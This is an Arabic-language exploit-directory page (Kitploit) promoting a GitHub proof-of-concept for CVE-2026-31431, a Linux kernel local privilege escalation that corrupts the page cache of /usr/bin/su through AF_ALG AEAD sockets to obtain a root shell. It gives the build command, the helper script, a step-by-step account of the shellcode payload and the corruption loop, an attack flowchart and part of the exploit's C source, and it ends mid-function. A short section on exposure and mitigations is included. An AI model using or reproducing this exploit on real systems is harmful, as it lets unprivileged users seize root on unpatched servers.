Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31431 — إثبات مفهوم عملي لاستغلال CVE-2026-31431، وهو تصعيد صلاحيات محلي في نواة لينكس عبر تلف ذاكرة التخزين المؤقت للصفحات في AF_ALG AEAD، مما يمنح صلاحيات الجذر (root shell). | Kitploit
أدوات/GitHubGitHub/wesmar/cve-2026-31431
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubwesmar/cve-2026-31431

CVE-2026-31431

إثبات مفهوم عملي لاستغلال CVE-2026-31431، وهو تصعيد صلاحيات محلي في نواة لينكس عبر تلف ذاكرة التخزين المؤقت للصفحات في AF_ALG AEAD، مما يمنح صلاحيات الجذر (root shell).

عرض المستودع
618منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31431 — تصعيد الامتيازات المحلية عبر AF_ALG

NVD / NIST PoC Download

2026-04-29 — أنشر هذا الاستغلال بعد يوم واحد من مشاركته في منتدى MyDigitalLife. لا يتطلب Python؛ فهو مكتوب بلغة C ومُجمَّع بأصغر حجم ممكن باستخدام:

musl-gcc -static -Os -o exploit exploit.c -s

تهديد حرج. ملف الاستغلال الثنائي مُجمَّع بدون تبعيات ويمكن استخدامه لاختبار الثغرات على أي نظام Linux

CVE-2026-31431 هي ثغرة مؤكدة من NIST في نواة Linux تسمح لمستخدم محلي غير مميز بالحصول على قشرة root في ثوانٍ. في ضوء الاستغلال المتداول علنًا لـ CVE-2026-31431، قمت بتطوير إثبات مفهوم (PoC) ثنائي لتقييم مدى تعرض بنيتنا التحتية الداخلية. بينما تقيّد بعض البيئات استخدام su، فإن هذه الثغرة خطيرة بشكل خاص للخوادم المشتركة لأنها تستهدف إدارة ذاكرة النواة الأساسية. وبالتالي، يمكن استغلال أي ملف ثنائي SETUID — بما في ذلك sudo وpasswd وmount أو newgrp — لتفعيل الاستغلال ومنح قشرة root. يلزم اتخاذ إجراء إداري لتصحيح النواة فورًا، حيث أن قيود مساحة المستخدم القياسية غير كافية للتخفيف من هذا التهديد. أي نظام Linux يعمل بنواة غير مُصححة معرّض للخطر.

استغلالي العملي الخاص · نواة Linux · واجهة التشفير AF_ALG (AEAD)

يستبدل /usr/bin/su في ذاكرة التخزين المؤقت للصفحات دون لمس الملف على القرص

يكفي الوصول إلى قشرة محلية — لا تتطلب صلاحيات إضافية

يؤثر على توزيعات Linux غير المُصححة

CVE-2026-31431


📚 جدول المحتويات

  • ما هي هذه الثغرة
  • من المتأثر
  • كيف يعمل الاستغلال — خطوة بخطوة
  • مسار الهجوم
  • تحليل كود الاستغلال
  • حمولة ELF — تفاصيل تقنية
  • كيف تتحقق مما إذا كنت معرضًا للخطر
  • التخفيفات
  • ملاحظات الباحثين
  • إخلاء المسؤولية

ما هي هذه الثغرة

CVE-2026-31431 هي خلل في معالجة عمليات الإدخال/الإخراج المبعثرة-المجمعة (scatter-gather I/O) ومراجع ذاكرة التخزين المؤقت للصفحات في النظام الفرعي للتشفير في نواة Linux — وتحديدًا في تنفيذ مقبس AF_ALG لخوارزميات AEAD (crypto/af_alg.c, crypto/aead.c).

الخاصيةالقيمة
المعرّفCVE-2026-31431
المرجعNIST NVD
النوعتصعيد الامتيازات المحلية (LPE)
المكوّننواة Linux — AF_ALG / AEAD (authencesn)
الوصول المطلوبمستخدم محلي غير مميز
التأثيرقشرة root تفاعلية
حالة الاستغلالPoC عامل متاح علنًا على GitHub
الاستمراريةلا شيء — التعديل موجود في الذاكرة فقط؛ إعادة التشغيل تستعيد الحالة الأصلية

ما الذي يحدث فعليًا

تعرض نواة Linux واجهة تشفير لمساحة المستخدم عبر مقابس AF_ALG. تكمن الثغرة في أنه أثناء عملية فك تشفير AEAD، تقوم النواة بشكل غير صحيح بتعيين مخرجات فك التشفير مباشرة على صفحات ذاكرة التخزين المؤقت للملف المصدر — بدلاً من مخزن مؤقت مؤقت. وبالتالي يمكن للمهاجم الكتابة فوق محتوى أي ملف في الذاكرة دون تعديله على القرص، وبدون صلاحيات root، ودون ترك أي أثر مرئي في نظام الملفات.


من المتأثر

النظامالحالة
Ubuntu 24.04 (جهاز فعلي / VM)⚠️ معرض للخطر على نواة غير مُصححة
Debian, Fedora, Arch على نواة غير مُصححة⚠️ معرض للخطر
التوزيعات مع CONFIG_SECURITY_LOCKDOWN_LSM✅ محمي على الأرجح
الأنظمة مع nosuid أو ProtectSUID (systemd)✅ محمي
الأنظمة مع AppArmor/SELinux التي تحظر AF_ALG✅ محمي
macOS, Windows (أصلي)✅ غير متأثر

كيف يعمل الاستغلال — خطوة بخطوة

يتكون الاستغلال من مكوّنين: سكربت مساعد في /tmp/x وحلقة إفساد تعتمد على AF_ALG. فيما يلي شرح دقيق بناءً على تحليل الكود المصدري:

1. إعداد السكربت المساعد

ينشئ الاستغلال /tmp/x بالمحتوى التالي:

#!/bin/sh
export TERM=xterm-256color
exec /bin/sh

ويضبط الصلاحيات على 0755. السبب: /usr/bin/su يجرّد متغيرات البيئة (بما في ذلك TERM) عند التشغيل. يستعيد السكربت المساعد هذه المتغيرات قبل تشغيل القشرة الفعلية، مما يضمن طرفية وظيفية.

2. بناء حمولة ELF

يتم بناء ملف ELF ثنائي x86_64 مصغر بحجم 158 بايت يحتوي على شيلكود خام في الذاكرة. ثم يتم تعديل السلسلة /bin/sh عند الإزاحة 150 إلى /tmp/x\0 عبر memcmp/memcpy. راجع حمولة ELF للتفاصيل.

3. فتح /usr/bin/su للقراءة فقط

int su_fd = open("/usr/bin/su", O_RDONLY);

يُفتح الملف للقراءة فقط — لا يتطلب الاستغلال أي صلاحيات كتابة على الإطلاق.

4. حلقة الإفساد — 39 تكرارًا من 4 بايت لكل منها

تتم معالجة الحمولة (158 بايت) في أجزاء من 4 بايت (39 جزءًا كاملاً). يتم تمرير كل جزء عبر corrupt_binary_chunk()، والتي تقوم بما يلي:

  • إنشاء مقبس AF_ALG (SOCK_SEQPACKET)
  • الربط بـ authencesn(hmac(sha256),cbc(aes)) — خوارزمية AEAD مركبة
  • تعيين مفتاح بحجم 72 بايت وحجم علامة مصادقة 4 بايت
  • قبول مقبس عملية (op_sock)
  • إرسال sendmsg بمخزن 8 بايت (4× 'A' + 4 بايت حمولة) وثلاث رسائل CMSG: ALG_OP_DECRYPT، IV (20 بايت)، assoclen=8
  • تنفيذ splice: su_fd → pipe → op_sock (نسخ صفري عبر النواة)
  • الإنهاء عبر recv() — هنا تقوم النواة بشكل خاطئ بالكتابة فوق ذاكرة التخزين المؤقت للصفحات

5. التنفيذ

execve("/usr/bin/su", args, NULL);

تقوم النواة بتحميل /usr/bin/su عبر ذاكرة التخزين المؤقت للصفحات — والتي أصبحت الآن مسمومة. بت SUID (chmod u+s) سليم، لذا تنفذ النواة الملف كـ root. يقوم الشيلكود بتشغيل setuid(0) → execve("/tmp/x") → قشرة root تفاعلية.


مسار الهجوم

flowchart TD
    A[مستخدم محلي غير مميز] --> B["إنشاء سكربت مساعد /tmp/x\nchmod 0755"]
    B --> C["بناء حمولة ELF بحجم 158 بايت\nتعديل: /bin/sh → /tmp/x"]
    C --> D["open /usr/bin/su O_RDONLY\nلا حاجة لصلاحيات كتابة"]
    D --> E[حلقة: 39 جزءًا من 4 بايت]
    E --> F[socket AF_ALG SOCK_SEQPACKET]
    F --> G["bind: authencesn hmac sha256 cbc aes"]
    G --> H["setsockopt: مفتاح 72B + authsize=4"]
    H --> I[accept → op_sock]
    I --> J["sendmsg: بيانات 8B + 3x CMSG\nDECRYPT / IV 20B / assoclen=8"]
    J --> K["splice: su_fd → pipe → op_sock\nنسخ صفري عبر النواة"]
    K --> L[recv → إنهاء عملية AEAD]
    L --> M["خلل النواة: مخرجات فك التشفير\nتكتب فوق ذاكرة التخزين المؤقت لـ su_fd"]
    M --> N{الجزء التالي؟}
    N -->|نعم| E
    N -->|لا| O["execve /usr/bin/su"]
    O --> P["النواة تحمّل /usr/bin/su\nمن ذاكرة التخزين المؤقت المسمومة"]
    P --> Q["بت SUID سليم\nالنواة تنفذ كـ root"]
    Q --> R["الشيلكود: setuid 0 استدعاء النظام 105"]
    R --> S["execve /tmp/x استدعاء النظام 59"]
    S --> T[قشرة root تفاعلية]

تحليل كود الاستغلال

الأقسام الرئيسية من exploit.c مراجعة أدناه:

دالة corrupt_binary_chunk()

قلب الاستغلال. كل استدعاء ينسق معاملة AF_ALG كاملة:

static void corrupt_binary_chunk(int fd, int offset, const unsigned char chunk[4])
{
    // إنشاء مقبس AF_ALG والربط بـ AEAD authencesn(hmac(sha256),cbc(aes))
    alg_sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(alg_sock, (struct sockaddr *)&sa, sizeof(sa));

    // مفتاح 72 بايت + حجم علامة المصادقة = 4 بايت
    setsockopt(alg_sock, SOL_ALG, ALG_SET_KEY, key, sizeof(key));       // 72B
    setsockopt(alg_sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

    op_sock = accept(alg_sock, NULL, NULL);

    // المخزن: 4x 'A' كبيانات مرتبطة + 4 بايت حمولة
    unsigned char msg_buf[8] = {'A','A','A','A', chunk[0],chunk[1],chunk[2],chunk[3]};
تنزيل الأداة